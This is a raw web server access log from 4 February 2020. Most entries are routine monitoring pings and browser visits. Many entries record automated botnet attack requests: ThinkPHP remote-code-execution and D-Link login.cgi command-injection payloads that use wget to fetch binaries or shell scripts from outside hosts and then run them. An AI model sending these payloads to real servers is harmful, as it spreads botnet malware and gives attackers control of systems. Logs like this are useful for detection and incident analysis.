180.93.28.59 - - [04/Feb/2020:13:48:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:13:48:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:13:49:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:13:50:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.30.64.158 - - [04/Feb/2020:13:50:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.26.35.103 - - [04/Feb/2020:13:50:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
173.76.38.236 - - [04/Feb/2020:13:50:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.72.93.32 - - [04/Feb/2020:13:51:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:13:51:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:13:52:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
86.120.44.244 - - [04/Feb/2020:13:52:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:13:53:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:13:54:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.133.223.120 - - [04/Feb/2020:13:55:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
122.177.231.58 - - [04/Feb/2020:13:55:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [04/Feb/2020:13:55:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:13:56:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.44.180.123 - - [04/Feb/2020:13:56:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
89.44.180.123 - - [04/Feb/2020:13:56:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
177.105.227.201 - - [04/Feb/2020:13:56:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
151.73.124.152 - - [04/Feb/2020:13:57:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [04/Feb/2020:13:57:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.97.34 - - [04/Feb/2020:13:58:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:13:58:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:13:59:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.112.174.207 - - [04/Feb/2020:13:59:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:14:00:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:14:01:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.63.52.50 - - [04/Feb/2020:14:02:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:14:02:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.137.150 - - [04/Feb/2020:14:02:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.57.245.170 - - [04/Feb/2020:14:03:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:14:03:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:14:04:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.136.212.6 - - [04/Feb/2020:14:04:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
88.57.72.14 - - [04/Feb/2020:14:05:01 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 342 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
223.79.172.2 - - [04/Feb/2020:14:05:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:14:05:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:14:06:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:14:07:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:14:08:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.188.184.119 - - [04/Feb/2020:14:09:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
2.184.169.174 - - [04/Feb/2020:14:09:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:14:09:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [04/Feb/2020:14:09:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [04/Feb/2020:14:10:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:14:11:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.25.176.112 - - [04/Feb/2020:14:12:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:14:12:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:14:13:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:14:14:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:14:15:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.198.66.62 - - [04/Feb/2020:14:16:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:14:16:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.112.71.183 - - [04/Feb/2020:14:16:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
217.128.228.151 - - [04/Feb/2020:14:17:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:14:17:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:14:18:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:14:19:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:14:20:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:14:21:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.135.94 - - [04/Feb/2020:14:21:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:14:22:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.141.159.61 - - [04/Feb/2020:14:22:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:14:23:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:14:24:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:14:25:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:14:26:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:14:27:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.29.30.253 - - [04/Feb/2020:14:28:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:14:28:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:14:29:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.72.241 - - [04/Feb/2020:14:30:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:14:30:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.236.76.95 - - [04/Feb/2020:14:30:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:14:31:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.137.201 - - [04/Feb/2020:14:31:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:14:32:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:14:33:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:14:34:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.48.178 - - [04/Feb/2020:14:34:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
213.194.131.102 - - [04/Feb/2020:14:34:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
220.121.0.69 - - [04/Feb/2020:14:34:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [04/Feb/2020:14:34:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [04/Feb/2020:14:34:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [04/Feb/2020:14:35:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [04/Feb/2020:14:35:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [04/Feb/2020:14:35:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:14:36:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.178.102.166 - - [04/Feb/2020:14:37:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
183.105.27.14 - - [04/Feb/2020:14:37:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [04/Feb/2020:14:37:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [04/Feb/2020:14:37:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.105.27.14 - - [04/Feb/2020:14:37:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [04/Feb/2020:14:37:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [04/Feb/2020:14:38:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [04/Feb/2020:14:38:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.185.55.236 - - [04/Feb/2020:14:39:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:14:39:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:14:40:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.141.180.139 - - [04/Feb/2020:14:40:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:14:41:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:14:42:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:14:43:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:14:44:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.162.230.187 - - [04/Feb/2020:14:44:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:14:45:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.179.46 - - [04/Feb/2020:14:46:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.245.171 - - [04/Feb/2020:14:46:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
36.77.30.179 - - [04/Feb/2020:14:46:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 314 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:14:46:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.233.219.46 - - [04/Feb/2020:14:47:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.69.181.153 - - [04/Feb/2020:14:47:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:14:47:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.46.101.134 - - [04/Feb/2020:14:48:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:14:48:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:14:49:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.163.213.156 - - [04/Feb/2020:14:49:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
